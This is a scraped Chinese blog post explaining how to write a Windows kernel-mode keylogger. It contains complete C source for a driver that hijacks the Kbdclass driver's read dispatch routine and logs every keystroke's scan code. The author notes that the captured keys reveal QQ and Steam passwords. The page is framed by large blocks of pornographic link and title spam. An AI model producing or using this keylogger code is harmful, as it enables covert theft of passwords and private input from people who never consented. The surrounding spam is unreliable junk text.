日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > windows >内容正文

windows

Windows驱动之编写键盘记录器

發布時間:2023/12/14 windows 49 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Windows驱动之编写键盘记录器 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

【1】方式:替換Kbdclass驅動的ReadFile IRP函數處理指針


編寫.sys文件:


頭文件:

#pragma once //只編譯1次頭文件 #include <ntddk.h> //驅動函數頭文件,類似于Windows.h #include <wdm.h> //WDK函數頭文件,一般編寫驅動程序時,與ntddk.h一起包含 #include <tchar.h> //UNICODE和ANSI字符串頭文件 #include <ntstrsafe.h> //安全字符串函數頭文件 #include <Ntddkbd.h> //掃描碼結構體需要包含的頭文件 #include <Wdmsec.h> //創建通信設備對象(不用管理員權限就能打開) #pragma comment(lib,"ntstrsafe.lib") //安全字符串函數庫文件//#define KBD_DRIVER_NAME L"\\Driver\\Kbdclass" #define KBD_DRIVER_NAME L"\\Driver\\Kbdclass" //調用延遲函數的延遲長度的宏 #define DELAY_ONE_MILLISECOND (-10 * 1000) //1毫秒 //可通過[驅動對象DRIVER_NAME名稱路徑]獲得[該驅動對象的DRIVER_OBJECT指針] NTSTATUS ObReferenceObjectByName(PUNICODE_STRING ObjectName,ULONG Attributes,PACCESS_STATE AccessState,ACCESS_MASK DesiredAccess,POBJECT_TYPE ObjectType,KPROCESSOR_MODE AccessMode,PVOID ParseContext,PVOID *Object ); VOID DriverUnload(PDRIVER_OBJECT pDriverObj); NTSTATUS OpenTagDevice(wchar_t* DriObj); NTSTATUS Read(PDEVICE_OBJECT pDevObj,PIRP pIrp ); //讀IRP請求處理函數 NTSTATUS c2pReadComplete (IN PDEVICE_OBJECT DeviceObject, //目標設備對象IN PIRP Irp, //IRP指針IN PVOID Context //該自定義參數為:過濾設備對象 ); 源文件:

#include "Dev.h" extern POBJECT_TYPE* IoDriverObjectType; //用于調用ObReferenceObjectByName API時,獲取Kbdclass驅動對象指針,所帶入的[對象類型]//由于是指針,所以帶入時,為:*IoDriverObjectType; PDRIVER_OBJECT gDriverObject = NULL; //本驅動程序的[驅動對象]PDRIVER_OBJECT gTagDriverObj = NULL; //目標[驅動對象] PDRIVER_DISPATCH YuanReadFunc = NULL; //原目標[驅動對象]的函數指針ULONG gIrpCount = 0;NTSTATUS DriverEntry (PDRIVER_OBJECT DriverObject, //本驅動程序的[驅動對象]PUNICODE_STRING RegistryPath //此驅動在注冊表中的路徑. ) {KdPrint(("Aaron::DriverEntry\n"));NTSTATUS status = STATUS_SUCCESS;//保存本驅動程序的[驅動對象]到全局變量gDriverObject = DriverObject;//取目標驅動對象status = OpenTagDevice(KBD_DRIVER_NAME);if (!NT_SUCCESS(status))return status;//指針變量volatile PVOID TagFunc = gTagDriverObj->MajorFunction + IRP_MJ_READ;YuanReadFunc = InterlockedExchangePointer(TagFunc, Read);//設置[驅動卸載]函數指針DriverObject->DriverUnload = DriverUnload;//返回最終狀態return status; } NTSTATUS OpenTagDevice(wchar_t* DriObj) {NTSTATUS status;UNICODE_STRING DriName;RtlInitUnicodeString(&DriName, DriObj);PDRIVER_OBJECT TagDri;status = ObReferenceObjectByName(&DriName, OBJ_CASE_INSENSITIVE, NULL, 0, *IoDriverObjectType, KernelMode, NULL,&TagDri);if (!NT_SUCCESS(status))return status;ObDereferenceObject(TagDri);gTagDriverObj = TagDri;return status; } //卸載函數 VOID DriverUnload(PDRIVER_OBJECT pDriverObj) {//由于卸載時,一般有一個未完成的IRP請求,當這個IRP完成時,會執行c2pReadComplete完成例程,但完成例程不存在了//導致藍屏,所以要等待這個IRP完成,然后卸載.volatile PVOID TagFunc = gTagDriverObj->MajorFunction + IRP_MJ_READ;InterlockedExchangePointer(TagFunc, YuanReadFunc);//將32位擴展至64位變量中.LARGE_INTEGER lDelay = RtlConvertLongToLargeInteger(10 * DELAY_ONE_MILLISECOND); //1毫秒 × 100 = 100毫秒,1000毫秒才等于1秒//得到不公開的線程結構體指針PRKTHREAD CurrentThread = KeGetCurrentThread();//把當前線程設置為[低實時模式],以便讓它的運行盡量少影響其他程序 16 (0~31)KeSetPriorityThread(CurrentThread, LOW_REALTIME_PRIORITY);//等待IRP完成,就要用一個變量記錄是否無IRP數量了.while (gIrpCount)KeDelayExecutionThread(KernelMode, FALSE, &lDelay);KdPrint(("Aaron::驅動程序卸載成功!\n")); } //ReadFile處理函數 NTSTATUS Read( PDEVICE_OBJECT pDevObj, PIRP pIrp ) {gIrpCount++;PIO_STACK_LOCATION IrpSp = IoGetCurrentIrpStackLocation(pIrp);//IrpSp->Context = 這個是自定義參數IrpSp->Control = SL_INVOKE_ON_SUCCESS | SL_INVOKE_ON_ERROR | SL_INVOKE_ON_CANCEL;IrpSp->CompletionRoutine = (PIO_COMPLETION_ROUTINE)c2pReadComplete;return YuanReadFunc(pDevObj, pIrp); } //讀IRP完成例程 NTSTATUS c2pReadComplete (IN PDEVICE_OBJECT DeviceObject, //目標設備對象IN PIRP Irp, //IRP指針IN PVOID Context //該自定義參數為:過濾設備對象 ) {PIO_STACK_LOCATION IrpSp; //I/O堆棧指針ULONG_PTR buf_len = 0;PKEYBOARD_INPUT_DATA buf = NULL;size_t i;//獲取當前I/O堆棧指針IrpSp = IoGetCurrentIrpStackLocation(Irp);//如果IRP請求是成功的if (NT_SUCCESS(Irp->IoStatus.Status)){//得到掃描碼緩沖區buf = Irp->AssociatedIrp.SystemBuffer;buf_len = Irp->IoStatus.Information;ULONG_PTR aaKeyCount = buf_len / sizeof(KEYBOARD_INPUT_DATA);for (ULONG_PTR i = 0; i < aaKeyCount; i++){DbgPrint("鍵盤碼:%02x\n",buf->MakeCode);buf++;}}if (Irp->PendingReturned)IoMarkIrpPending(Irp);//IRP總數-- gIrpCount--;return Irp->IoStatus.Status; }
已經把掃描碼給讀出來的,自己轉化成ASCII碼,與應用層軟件通信即可.

QQ、Steam等等的密碼都可以獲取到.(網銀除外)


關于有個小問題:

這里設置IRP請求的完成例程時,不是直接調用的IoSetCompletionRoutine,而是手動設置上去的完成例程.

原因是IoSetCompletionRoutine好像是幫設備棧的下一個設備對象的I/O堆棧指針中的完成例程,導致完成例程函數

不執行.


效果】


總結

以上是生活随笔為你收集整理的Windows驱动之编写键盘记录器的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 制服丝袜av在线 | 在线免费观看视频网站 | 欧美性猛交xxxx偷拍洗澡 | 色呦呦国产精品 | 日鲁鲁| たちの熟人妻av一区二区 | 国产99久久九九精品无码免费 | 亚洲无人区码一码二码三码的含义 | 国产一级色 | 欧美抠逼视频 | 大白屁股一区二区视频 | wwwwww色 | 三级视频网 | 开心激情综合 | 亚洲综合a | 亚洲欧美日韩成人在线 | 日韩高清不卡一区 | 国产新婚疯狂做爰视频 | 免费av大片| 日韩中文字幕在线视频 | 麻豆一区在线 | 在线电影一区二区三区 | 91久久精品一区 | 先锋影音色 | 国产精品一区二区三区在线免费观看 | 久久久国产成人 | 欧美一本 | 国产真实乱在线更新 | 国产午夜精品一区二区三区嫩草 | www.亚洲高清 | 黄网站在线免费 | 国产在线综合视频 | 欧美激情视频一区二区 | 日本激情网站 | 久久思| 香蕉一级视频 | 亚洲精品国产成人久久av盗摄 | 精品欧美久久久 | 日韩av手机在线观看 | 欧洲成人午夜精品无码区久久 | 人妻精品一区 | 国产精品456 | 国产在线观看一区 | 中文字幕视频免费观看 | 久久久这里有精品 | 黄色片91| 国产精品日韩一区二区三区 | 女同性做爰三级 | 高h捆绑拘束调教小说 | 在线观看免费中文字幕 | 国产福利视频导航 | 亚洲综合欧美综合 | 亚洲在线免费观看 | 天天操天天操天天操天天操天天操 | 国产一级aa大片毛片 | 蜜臀在线视频 | 欧美精品一区三区 | 欧美xxxxx少妇 | 国产超碰人人爽人人做人人爱 | 国产视频一区二区不卡 | 黄色网址最新 | 国产裸体永久免费无遮挡 | 国产美女永久免费 | 男人激烈吮乳吃奶爽文 | 国产精品久久久久久久久免费桃花 | 中文字幕在线看高清电影 | 国偷自产av一区二区三区 | 国产欧美视频一区二区 | 亚洲一区有码 | 美女毛片 | 污污的视频在线观看 | 夜夜操女人 | 好色视频tv| 国产一线二线三线在线观看 | 好大好爽视频 | 国产精品99久久久久久久久 | 中文字幕网站 | 日韩在线精品强乱中文字幕 | 欧美综合网 | 风间由美一区二区 | 玖玖在线精品 | 亚洲成人一二三区 | 亚洲自拍偷拍av | 香蕉网在线播放 | 精品国产a线一区二区三区东京热 | 色诱久久av | av免费高清 | 一区二区三区四区五区av | 老熟妇高潮一区二区高清视频 | 国产精品wwww| 欲涩漫入口免费网站 | 桃色一区二区三区 | 任你操精品视频 | 手机在线中文字幕 | 天堂精品视频 | 亚洲中文字幕无码av永久 | 久久99成人| 中文字幕人妻色偷偷久久 | 欧美日韩一区在线观看 |